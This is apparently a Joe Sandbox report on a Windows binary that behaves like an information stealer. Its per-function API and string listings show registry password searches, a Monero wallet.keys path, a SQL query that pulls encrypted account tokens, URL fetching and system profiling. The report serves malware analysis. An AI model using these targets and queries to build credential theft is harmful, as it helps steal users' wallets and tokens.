RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004A73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 004A740D
GetProcessHeap.KERNEL32(00000000,?), ref: 004A7452
HeapFree.KERNEL32(00000000), ref: 004A7459
task.LIBCPMTD ref: 004A7555

Strings

Password, xrefs: 004A7401

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 2438d52be0cd6bff2e3fe9660d865371069e81a2551ebefc4fc30c34ad14e277
Instruction ID: 761e5e59f4fbef4a76be839532b651dec96d778a73646cba14c2768c0be6db45
Opcode Fuzzy Hash: 2438d52be0cd6bff2e3fe9660d865371069e81a2551ebefc4fc30c34ad14e277
Instruction Fuzzy Hash: 39615BB5C042689BDB24DB50CC41BDAB7B8FF59304F0081EAE649A6141EB746FC9CFA5

Function 004ABA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004BA740: lstrcpy.KERNEL32(004C0E17,00000000), ref: 004BA788

Part of subcall function 004BA9B0: lstrlen.KERNEL32(?,00FD8CC8,?,\Monero\wallet.keys,004C0E17), ref: 004BA9C5
Part of subcall function 004BA9B0: lstrcpy.KERNEL32(00000000), ref: 004BAA04
Part of subcall function 004BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 004BAA12

Part of subcall function 004BA920: lstrcpy.KERNEL32(00000000,?), ref: 004BA972
Part of subcall function 004BA920: lstrcat.KERNEL32(00000000), ref: 004BA982

Part of subcall function 004BA8A0: lstrcpy.KERNEL32(?,004C0E17), ref: 004BA905

Part of subcall function 004BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 004BA7E6

lstrlen.KERNEL32(00000000), ref: 004ABC9F

Part of subcall function 004B8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004B8E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 004ABCCD
lstrlen.KERNEL32(00000000), ref: 004ABDA5
lstrlen.KERNEL32(00000000), ref: 004ABDB9

Strings

AccountId, xrefs: 004ABCC4
AccountTokens, xrefs: 004ABB49
SELECT service, encrypted_token FROM token_service, xrefs: 004ABBEB
AccountTokens, xrefs: 004ABABA

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: b55494a21414ad73fc8846517561d154331cedd2921b20052e7456ef25b84537
Instruction ID: 08ed7f2eefe0ce92692bd40eb89518bd8f061efb8a6f7e0f3d7b0582f5a035fc
Opcode Fuzzy Hash: b55494a21414ad73fc8846517561d154331cedd2921b20052e7456ef25b84537
Instruction Fuzzy Hash: 8BB17571910108ABDF14FBA1CC96EEE7339AF14304F40455EF50676492EF386A59CBBA

Function 004A4FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 004A4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 004A4FD1
InternetOpenA.WININET(004C0DDF,00000000,00000000,00000000,00000000), ref: 004A4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 004A5011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 004A5041
InternetCloseHandle.WININET(?), ref: 004A50B9
InternetCloseHandle.WININET(?), ref: 004A50C6

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 6e0ebe720369dbcc3cb82f0eb82c41d0afab0af1e969a50604ec141c40d3ce73
Instruction ID: 2fe8cd635cd6c2669928a7fabf9dcfcd2245c5bccca91e483ca8217835c838de
Opcode Fuzzy Hash: 6e0ebe720369dbcc3cb82f0eb82c41d0afab0af1e969a50604ec141c40d3ce73
Instruction Fuzzy Hash: 453119B4A00218ABDB20CF94DD85BDDB7B5EB48704F1081D9F709AB280C7746EC58FA9

Function 004B8100 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00FDF070,00000000,?,004C0E2C,00000000,?,00000000), ref: 004B8130
RtlAllocateHeap.NTDLL(00000000), ref: 004B8137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 004B8158
wsprintfA.USER32 ref: 004B81AC

Strings

%d MB, xrefs: 004B81A3
@, xrefs: 004B814D

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2922868504-3474575989
Opcode ID: 741a6432e23262cab8bb6e96bd06aa0a9de30f0e0274797193c9c07d3ac6d52c
Instruction ID: 604ac9bf113c47d8a9dec4397e5c7bbebf2b2f206f51e525114d791e83312bb5
Opcode Fuzzy Hash: 741a6432e23262cab8bb6e96bd06aa0a9de30f0e0274797193c9c07d3ac6d52c
Instruction Fuzzy Hash: 0B21FCB1D44258ABDB00DFD5CC49FAEB779EB44714F104519F605BB280D77869018BA9

Function 004B83DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 004B8426
wsprintfA.USER32 ref: 004B8459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 004B847B
RegCloseKey.ADVAPI32(00000000), ref: 004B848C
RegCloseKey.ADVAPI32(00000000), ref: 004B8499

Part of subcall function 004BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 004BA7E6

RegQueryValueExA.KERNEL32(00000000,00FDEEF0,00000000,000F003F,?,00000400), ref: 004B84EC
lstrlen.KERNEL32(?), ref: 004B8501
RegQueryValueExA.KERNEL32(00000000,00FDF178,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,004C0B34), ref: 004B8599
RegCloseKey.KERNEL32(00000000), ref: 004B8608
RegCloseKey.ADVAPI32(00000000), ref: 004B861A

Strings

%s\%s, xrefs: 004B844D

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: c5408edfd20eda3b076225f42e702a7e32278300aa65ed6d0f25f4dcbd6137ef
Instruction ID: 7900236e56be59678a4310496188160e89f45b95f4e6a418c18c225338a8158d
Opcode Fuzzy Hash: c5408edfd20eda3b076225f42e702a7e32278300aa65ed6d0f25f4dcbd6137ef
Instruction Fuzzy Hash: 0F211975900218ABDB24DF54DC85FE9B7B9FB48700F00C1D9E609A6240DF75AA86CFE4

Function 004B7690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004B76A4
RtlAllocateHeap.NTDLL(00000000), ref: 004B76AB
RegOpenKeyExA.KERNEL32(80000002,00FCBF58,00000000,00020119,00000000), ref: 004B76DD
RegQueryValueExA.KERNEL32(00000000,00FDF118,00000000,00000000,?,000000FF), ref: 004B76FE
RegCloseKey.ADVAPI32(00000000), ref: 004B7708

Strings

Windows 11, xrefs: 004B76BD

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: b91eab0be95d5174b96d362647173ddec0727345a38acd5dcf5000ab993f7466
Instruction ID: 080c0946d4bd82af9ffa557fb042075fbdb816ab6e57ce9a155c2347e4c5d610
Opcode Fuzzy Hash: b91eab0be95d5174b96d362647173ddec0727345a38acd5dcf5000ab993f7466
Instruction Fuzzy Hash: C50167B9A04304FBDB00DBE4DD89FAE7BB9EB44701F105155FA05DB290DA74B9048B65

Function 004B7720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004B7734
RtlAllocateHeap.NTDLL(00000000), ref: 004B773B
RegOpenKeyExA.KERNEL32(80000002,00FCBF58,00000000,00020119,004B76B9), ref: 004B775B
RegQueryValueExA.KERNEL32(004B76B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 004B777A
RegCloseKey.ADVAPI32(004B76B9), ref: 004B7784

Strings

CurrentBuildNumber, xrefs: 004B7771

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 8f402b4d7158dcd48700fd100f7b999eb5cbf8f33c7de9cba3fcfd755a6bd87a
Instruction ID: 3a92c4af3d828004f09e82607f4acc743a64a081e2024d76ac4d32d00e8e7381
Opcode Fuzzy Hash: 8f402b4d7158dcd48700fd100f7b999eb5cbf8f33c7de9cba3fcfd755a6bd87a
Instruction Fuzzy Hash: 3D0167B9A40308BBDB10DFE4DC89FAEB7B9EB44700F104159FA05AB281DA746500CF61

Function 004B69F0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 004B9860: GetProcAddress.KERNEL32(74DD0000,00FD2278), ref: 004B98A1
Part of subcall function 004B9860: GetProcAddress.KERNEL32(74DD0000,00FD22A8), ref: 004B98BA
Part of subcall function 004B9860: GetProcAddress.KERNEL32(74DD0000,00FD22C0), ref: 004B98D2
Part of subcall function 004B9860: GetProcAddress.KERNEL32(74DD0000,00FD2008), ref: 004B98EA
Part of subcall function 004B9860: GetProcAddress.KERNEL32(74DD0000,00FD2188), ref: 004B9903
Part of subcall function 004B9860: GetProcAddress.KERNEL32(74DD0000,00FD9018), ref: 004B991B
Part of subcall function 004B9860: GetProcAddress.KERNEL32(74DD0000,00FC6698), ref: 004B9933
